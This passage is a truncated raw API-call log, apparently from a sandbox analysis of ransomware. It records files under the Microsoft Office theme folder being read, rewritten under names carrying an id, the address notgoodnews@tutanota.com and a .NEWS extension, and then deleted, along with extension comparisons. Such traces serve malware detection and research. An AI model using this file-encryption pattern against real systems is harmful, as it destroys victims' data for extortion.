dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0245.415] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.415] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0245.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3cc [0246.959] GetLastError () returned 0x0 [0246.959] ReadFile (in: hFile=0x1c0, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x3fde, lpOverlapped=0x0) returned 1 [0247.056] WriteFile (in: hFile=0x3cc, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x3fe0, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x3fe0, lpOverlapped=0x0) returned 1 [0247.060] ReadFile (in: hFile=0x1c0, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0247.060] WriteFile (in: hFile=0x3cc, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xf0, lpOverlapped=0x0) returned 1 [0247.061] SetEndOfFile (hFile=0x3cc) returned 1 [0247.061] CloseHandle (hObject=0x3cc) returned 1 [0247.061] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0247.061] SetEndOfFile (hFile=0x1c0) returned 1 [0247.070] CloseHandle (hObject=0x1c0) returned 1 [0247.070] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0247.071] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\essential.eftx")) returned 1 [0247.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0247.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0247.073] lstrlenW (lpString=".doc") returned 4 [0247.073] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0247.073] lstrlenW (lpString=".docx") returned 5 [0247.074] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0247.074] lstrlenW (lpString=".pdf") returned 4 [0247.074] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0247.074] lstrlenW (lpString=".xls") returned 4 [0247.074] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0247.074] lstrlenW (lpString=".xlsx") returned 5 [0247.074] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0247.074] lstrlenW (lpString=".ppt") returned 4 [0247.074] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0247.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0247.075] lstrlenW (lpString=".zip") returned 4 [0247.075] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0247.075] lstrlenW (lpString=".rar") returned 4 [0247.075] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0247.075] lstrlenW (lpString=".bz2") returned 4 [0247.075] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0247.075] lstrlenW (lpString=".7z") returned 3 [0247.075] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0247.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0247.076] lstrlenW (lpString=".dbf") returned 4 [0247.076] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0247.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0247.076] lstrlenW (lpString=".1cd") returned 4 [0247.076] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0247.076] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0247.076] lstrlenW (lpString=".jpg") returned 4 [0247.076] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0247.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0247.077] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0247.077] lstrlenW (lpString=".doc") returned 4 [0247.077] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0247.077] lstrlenW (lpString=".docx") returned 5 [0247.077] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0247.078] lstrlenW (lpString=".pdf") returned 4 [0247.078] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0247.078] lstrlenW (lpString=".xls") returned 4 [0247.078] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0247.078] lstrlenW (lpString=".xlsx") returned 5 [0247.078] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0247.078] lstrlenW (lpString=".ppt") returned 4 [0247.078] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0247.078] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0247.078] lstrlenW (lpString=".zip") returned 4 [0247.078] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0247.079] lstrlenW (lpString=".rar") returned 4 [0247.079] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0247.079] lstrlenW (lpString=".bz2") returned 4 [0247.079] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0247.079] lstrlenW (lpString=".7z") returned 3 [0247.079] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0247.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0247.079] lstrlenW (lpString=".dbf") returned 4 [0247.079] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0247.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0247.079] lstrlenW (lpString=".1cd") returned 4 [0247.079] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0247.079] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Essential.eftx") returned 81 [0247.079] lstrlenW (lpString=".jpg") returned 4 [0247.079] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0247.080] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0247.080] lstrlenW (lpString="Median.eftx") returned 11 [0247.080] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0247.702] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=39546) returned 1 [0247.702] CloseHandle (hObject=0x384) returned 1 [0247.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 0x20 [0247.703] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0248.468] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0248.468] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.468] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.469] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0248.477] GetLastError () returned 0x0 [0248.477] ReadFile (in: hFile=0x3d4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x9a7a, lpOverlapped=0x0) returned 1 [0248.586] WriteFile (in: hFile=0x3ac, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0x9a80, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0x9a80, lpOverlapped=0x0) returned 1 [0248.591] ReadFile (in: hFile=0x3d4, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0248.591] WriteFile (in: hFile=0x3ac, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xea, lpOverlapped=0x0) returned 1 [0248.591] SetEndOfFile (hFile=0x3ac) returned 1 [0248.591] CloseHandle (hObject=0x3ac) returned 1 [0248.592] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0248.592] SetEndOfFile (hFile=0x3d4) returned 1 [0248.600] CloseHandle (hObject=0x3d4) returned 1 [0248.601] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0248.856] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\median.eftx")) returned 1 [0248.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0248.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0248.918] lstrlenW (lpString=".doc") returned 4 [0248.918] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0248.919] lstrlenW (lpString=".docx") returned 5 [0248.919] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0248.919] lstrlenW (lpString=".pdf") returned 4 [0248.919] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0248.919] lstrlenW (lpString=".xls") returned 4 [0248.919] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0248.919] lstrlenW (lpString=".xlsx") returned 5 [0248.919] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0248.919] lstrlenW (lpString=".ppt") returned 4 [0248.919] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0248.919] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0248.919] lstrlenW (lpString=".zip") returned 4 [0248.919] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0248.920] lstrlenW (lpString=".rar") returned 4 [0248.920] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0248.920] lstrlenW (lpString=".bz2") returned 4 [0248.920] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0248.920] lstrlenW (lpString=".7z") returned 3 [0248.920] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0248.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0248.920] lstrlenW (lpString=".dbf") returned 4 [0248.920] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0248.920] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0248.920] lstrlenW (lpString=".1cd") returned 4 [0248.920] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0248.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0248.921] lstrlenW (lpString=".jpg") returned 4 [0248.921] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0248.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0248.921] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0248.921] lstrlenW (lpString=".doc") returned 4 [0248.921] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0248.921] lstrlenW (lpString=".docx") returned 5 [0248.921] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0248.921] lstrlenW (lpString=".pdf") returned 4 [0248.921] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0248.922] lstrlenW (lpString=".xls") returned 4 [0248.922] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0248.922] lstrlenW (lpString=".xlsx") returned 5 [0248.922] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0248.922] lstrlenW (lpString=".ppt") returned 4 [0248.922] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0248.922] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0248.923] lstrlenW (lpString=".zip") returned 4 [0248.923] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0248.923] lstrlenW (lpString=".rar") returned 4 [0248.923] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0248.923] lstrlenW (lpString=".bz2") returned 4 [0248.923] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0248.923] lstrlenW (lpString=".7z") returned 3 [0248.923] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0248.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0248.923] lstrlenW (lpString=".dbf") returned 4 [0248.923] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0248.923] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0248.923] lstrlenW (lpString=".1cd") returned 4 [0248.924] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0248.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Median.eftx") returned 78 [0248.924] lstrlenW (lpString=".jpg") returned 4 [0248.924] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0248.924] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0248.924] lstrlenW (lpString="Oriel.eftx") returned 10 [0248.924] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0249.173] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=43193) returned 1 [0249.173] CloseHandle (hObject=0x384) returned 1 [0249.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 0x20 [0251.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0251.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0251.948] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.994] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0251.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0 [0251.996] GetLastError () returned 0x0 [0251.996] ReadFile (in: hFile=0x304, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0xa8b9, lpOverlapped=0x0) returned 1 [0252.006] WriteFile (in: hFile=0x1f0, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xa8c0, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xa8c0, lpOverlapped=0x0) returned 1 [0252.012] ReadFile (in: hFile=0x304, lpBuffer=0x4060020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x356fed4, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesRead=0x356fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.012] WriteFile (in: hFile=0x1f0, lpBuffer=0x4060020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x356fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4060020*, lpNumberOfBytesWritten=0x356fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0252.012] SetEndOfFile (hFile=0x1f0) returned 1 [0252.012] CloseHandle (hObject=0x1f0) returned 1 [0252.013] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.013] SetEndOfFile (hFile=0x304) returned 1 [0252.023] CloseHandle (hObject=0x304) returned 1 [0252.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0252.024] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\oriel.eftx")) returned 1 [0252.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0252.025] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0252.025] lstrlenW (lpString=".doc") returned 4 [0252.025] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0252.025] lstrlenW (lpString=".docx") returned 5 [0252.025] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0252.025] lstrlenW (lpString=".pdf") returned 4 [0252.025] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0252.025] lstrlenW (lpString=".xls") returned 4 [0252.026] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0252.026] lstrlenW (lpString=".xlsx") returned 5 [0252.026] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0252.026] lstrlenW (lpString=".ppt") returned 4 [0252.026] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0252.026] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0252.392] lstrlenW (lpString=".zip") returned 4 [0252.392] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0252.392] lstrlenW (lpString=".rar") returned 4 [0252.393] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0252.393] lstrlenW (lpString=".bz2") returned 4 [0252.393] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0252.393] lstrlenW (lpString=".7z") returned 3 [0252.393] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0252.393] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0252.393] lstrlenW (lpString=".dbf") returned 4 [0252.393] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0252.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0252.395] lstrlenW (lpString=".1cd") returned 4 [0252.395] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0252.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0252.396] lstrlenW (lpString=".jpg") returned 4 [0252.396] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0252.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0252.396] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0252.396] lstrlenW (lpString=".doc") returned 4 [0252.396] lstrcmpiW (lpString1=".doc", lpString2="eftx") returned -1 [0252.396] lstrlenW (lpString=".docx") returned 5 [0252.396] lstrcmpiW (lpString1=".docx", lpString2=".eftx") returned -1 [0252.397] lstrlenW (lpString=".pdf") returned 4 [0252.397] lstrcmpiW (lpString1=".pdf", lpString2="eftx") returned -1 [0252.397] lstrlenW (lpString=".xls") returned 4 [0252.397] lstrcmpiW (lpString1=".xls", lpString2="eftx") returned -1 [0252.397] lstrlenW (lpString=".xlsx") returned 5 [0252.397] lstrcmpiW (lpString1=".xlsx", lpString2=".eftx") returned 1 [0252.397] lstrlenW (lpString=".ppt") returned 4 [0252.397] lstrcmpiW (lpString1=".ppt", lpString2="eftx") returned -1 [0252.397] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0252.397] lstrlenW (lpString=".zip") returned 4 [0252.397] lstrcmpiW (lpString1=".zip", lpString2="eftx") returned -1 [0252.398] lstrlenW (lpString=".rar") returned 4 [0252.398] lstrcmpiW (lpString1=".rar", lpString2="eftx") returned -1 [0252.398] lstrlenW (lpString=".bz2") returned 4 [0252.398] lstrcmpiW (lpString1=".bz2", lpString2="eftx") returned -1 [0252.398] lstrlenW (lpString=".7z") returned 3 [0252.398] lstrcmpiW (lpString1=".7z", lpString2="ftx") returned -1 [0252.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0252.398] lstrlenW (lpString=".dbf") returned 4 [0252.398] lstrcmpiW (lpString1=".dbf", lpString2="eftx") returned -1 [0252.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0252.398] lstrlenW (lpString=".1cd") returned 4 [0252.398] lstrcmpiW (lpString1=".1cd", lpString2="eftx") returned -1 [0252.398] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Oriel.eftx") returned 77 [0252.399] lstrlenW (lpString=".jpg") returned 4 [0252.399] lstrcmpiW (lpString1=".jpg", lpString2="eftx") returned -1 [0252.399] lstrcmpiW (lpString1=".eftx", lpString2=".NEWS") returned -1 [0252.399] lstrlenW (lpString="Paper.eftx") returned 10 [0252.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0252.726] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x356ff1c | out: lpFileSize=0x356ff1c*=228746) returned 1 [0252.726] CloseHandle (hObject=0x3d4) returned 1 [0252.726] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx")) returned 0x20 [0252.800] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0252.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0252.802] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.802] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x356fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Paper.eftx.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\paper.eftx.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, 